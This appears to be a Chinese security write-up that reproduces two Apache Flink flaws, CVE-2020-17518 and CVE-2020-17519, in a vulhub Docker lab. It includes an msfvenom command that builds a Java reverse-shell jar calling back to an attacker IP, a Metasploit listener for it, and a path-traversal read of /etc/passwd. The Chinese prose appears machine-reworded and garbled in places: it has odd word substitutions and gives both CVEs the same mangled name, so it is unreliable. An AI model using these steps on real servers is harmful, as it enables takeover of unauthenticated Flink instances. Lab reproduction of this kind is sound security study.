介绍
Apache Flink 是高效率和分布式系统的通用性数据处理方法服务平台,由Apache手机软件慈善基金会开发设计的开流源解决架构,其关键是用Java和Scala撰写的分布式系统流数据流分析模块(简易而言,便是跟spark相近)。Flink 具备监管 API,可用以查看"已经运作的jobs" 和 "近期进行的jobs" 的情况和统计数据。该监管 API 被用以 Flink 自身的dashboard,另外也可用以自定监管专用工具,默认设置监视在8081端口号。
文中涉及到知识要点实际操作训练:网络信息安全事情 (“网络信息安全事情”这门课程内容是由一些危害较为大的安全事故所仿真模拟的接口测试构成。此课程内容不但会加上过去的安全事故,并且还会继续紧随时事热点,去加上全新的安全事故。让大伙儿在第一时间掌握,并明白如何去维护本身安全性为目地。)
该监管 API 是 REST-ful API, 即接纳 HTTP要求,并回应JSON文件格式的数据信息。
监管 API 中有一个API是 /jars/upload,其功效是将一个jar上传到群集。该jar务必做为多一部分数据信息推送。保证“ Content-Type”标题文字设定为“ application / x-java-archive”,由于一些http库默认设置状况下不加上标题文字。能够根据curl上传jar文件
'curl -X POST -H "Expect:" -F "jarfile=@path/to/flink-job.jar" '
简述
Flink 1.5.1引进了REST API,但其完成上存有好几处缺点,造成 随意文件载入(CVE-2020-17519)和随意文件载入(CVE-2020-17518)系统漏洞。
CVE-2020-17518网络攻击运用REST API,能够改动HTTP头,将上传的文件载入到当地文件系统软件上的随意部位(Flink 1.5.1过程能浏览到的)。
CVE-2020-17519Apache Flink 1.11.0 容许网络攻击根据JobManager过程的REST API载入JobManager当地文件系统软件上的一切文件(JobManager过程能浏览到的)。
危害版本
CVE-2020-17518
Apache:Apache Flink: 1.5.1 - 1.11.2
CVE-2020-17519
Apache:Apache Flink: 1.11.0, 1.11.1, 1.11.2
自然环境构建
由于遭受2个系统漏洞危害的版本都包括了1.11.2,因此 统一应用这一版本开展复现
这里运用vulhub的自然环境开展复现,新创建docker-compose.yml
version: '2'
services:
flink:
image: vulhub/flink:1.11.2
command: jobmanager
ports:
- "8081:8081"
- "6123:6123"
应用docker-compose运行该自然环境,实行下列指令会免费下载镜像系统并为此镜像系统运行一个器皿,投射的端口号为8081和6123
docker-compose up -d
浏览
系统漏洞复现
随意文件上传(CVE-2020-17518)复现:
Apache Flink 1.5.1引进了REST程序处理,该程序处理容许根据历经故意改动的HTTP HEADER将上传的文件载入当地文件系统软件上的随意部位。
浏览寻找Submit New Job的Add New上传一个jar包,jar包能够在桌面上新创建一个缩小文件,将zip后缀名改动为jar就可以,随后抓包软件
捉到的要求包以下:
将要求包发送至repeater控制模块开展改动,例如我这里是在/tmp文件目录下新创建一个文件,是为了更好地便捷转换途径,由于大家不知道到当今的途径是啥,因此 能够应用转换到网站根目录。
查询文件是不是上传取得成功
docker ps查询器皿
进到器皿
docker exec -it CONTAINER ID /bin/bash
能够见到文件取得成功上传
flink 自身是沒有身份验证的,而且它自身适用随意jar包上传并实行,因此 能够根据上传jar包getshell
转化成jar格式的马
lhost为kali的ip,lport为kali接受shell的端口号
msfvenom -p java/shell_reverse_tcp lhost=192.168.74.142 lport=1234 -f jar >/home/a.jar
运行msf接受shell
msfconsole
use exploit/multi/handler
set payload java/shell_reverse_tcp
set LHOST 192.168.74.142
set LPORT 1234
exploit
将jar包上传后点一下上传的包随后Submit
获得到shell
随意文件载入(CVE-2020-17519)复现:
Apache Flink 1.11.0中引进的变更(及其1.11.1和1.11.2中也公布)容许网络攻击根据JobManager过程的REST插口载入JobManager当地文件系统软件上的一切文件。浏览仅限JobManager过程可浏览的文件。
例如我这里载入/etc/下的passwd文件,%2f为/的2次url编号
漏洞补丁
官方网已公布安全性版本,请立即免费下载升級至安全性版本。
参照连接